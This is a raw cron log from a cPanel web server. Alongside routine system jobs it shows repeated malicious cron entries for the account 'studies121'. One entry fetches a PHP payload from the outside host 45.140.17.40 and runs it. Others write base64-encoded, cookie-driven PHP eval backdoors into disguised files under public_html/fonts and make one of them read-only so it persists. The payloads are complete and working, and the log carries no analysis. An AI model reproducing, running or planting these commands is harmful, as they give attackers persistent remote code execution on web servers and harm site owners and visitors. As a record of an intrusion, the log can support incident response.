Sep 21 06:40:01 ip-184-168-122-23 CROND[6151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:40:01 ip-184-168-122-23 CROND[6154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:40:01 ip-184-168-122-23 CROND[6153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:40:01 ip-184-168-122-23 CROND[6155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:40:01 ip-184-168-122-23 CROND[6159]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:40:01 ip-184-168-122-23 CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:40:01 ip-184-168-122-23 CROND[6157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:41:01 ip-184-168-122-23 CROND[6302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:41:01 ip-184-168-122-23 CROND[6304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:41:01 ip-184-168-122-23 CROND[6307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:41:01 ip-184-168-122-23 CROND[6308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:42:01 ip-184-168-122-23 CROND[6457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:42:01 ip-184-168-122-23 CROND[6460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:42:01 ip-184-168-122-23 CROND[6462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:42:01 ip-184-168-122-23 CROND[6459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:42:01 ip-184-168-122-23 CROND[6461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:43:01 ip-184-168-122-23 CROND[6621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:43:01 ip-184-168-122-23 CROND[6622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:43:01 ip-184-168-122-23 CROND[6624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:43:01 ip-184-168-122-23 CROND[6623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:44:01 ip-184-168-122-23 CROND[6778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:44:01 ip-184-168-122-23 CROND[6780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:44:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:44:01 ip-184-168-122-23 CROND[6783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:44:01 ip-184-168-122-23 CROND[6784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:45:01 ip-184-168-122-23 CROND[6955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:45:01 ip-184-168-122-23 CROND[6956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:45:01 ip-184-168-122-23 CROND[6959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:45:01 ip-184-168-122-23 CROND[6961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:45:01 ip-184-168-122-23 CROND[6960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:45:01 ip-184-168-122-23 CROND[6958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:46:01 ip-184-168-122-23 CROND[7096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:46:01 ip-184-168-122-23 CROND[7098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:46:01 ip-184-168-122-23 CROND[7101]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 06:46:01 ip-184-168-122-23 CROND[7099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:46:01 ip-184-168-122-23 CROND[7102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:46:01 ip-184-168-122-23 CROND[7100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:46:01 ip-184-168-122-23 CROND[7103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 06:47:01 ip-184-168-122-23 CROND[7322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:47:01 ip-184-168-122-23 CROND[7324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:47:01 ip-184-168-122-23 CROND[7325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:47:01 ip-184-168-122-23 CROND[7326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:48:01 ip-184-168-122-23 CROND[7510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:48:01 ip-184-168-122-23 CROND[7511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:48:01 ip-184-168-122-23 CROND[7514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:48:01 ip-184-168-122-23 CROND[7515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:48:01 ip-184-168-122-23 CROND[7518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:49:01 ip-184-168-122-23 CROND[7672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:49:01 ip-184-168-122-23 CROND[7675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:49:01 ip-184-168-122-23 CROND[7673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:49:01 ip-184-168-122-23 CROND[7674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:50:01 ip-184-168-122-23 CROND[7788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7791]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:50:01 ip-184-168-122-23 CROND[7798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:50:01 ip-184-168-122-23 CROND[7799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:51:01 ip-184-168-122-23 CROND[7977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:51:01 ip-184-168-122-23 CROND[7979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:51:01 ip-184-168-122-23 CROND[7980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:51:01 ip-184-168-122-23 CROND[7981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:52:02 ip-184-168-122-23 CROND[8138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:52:02 ip-184-168-122-23 CROND[8142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:52:02 ip-184-168-122-23 CROND[8141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
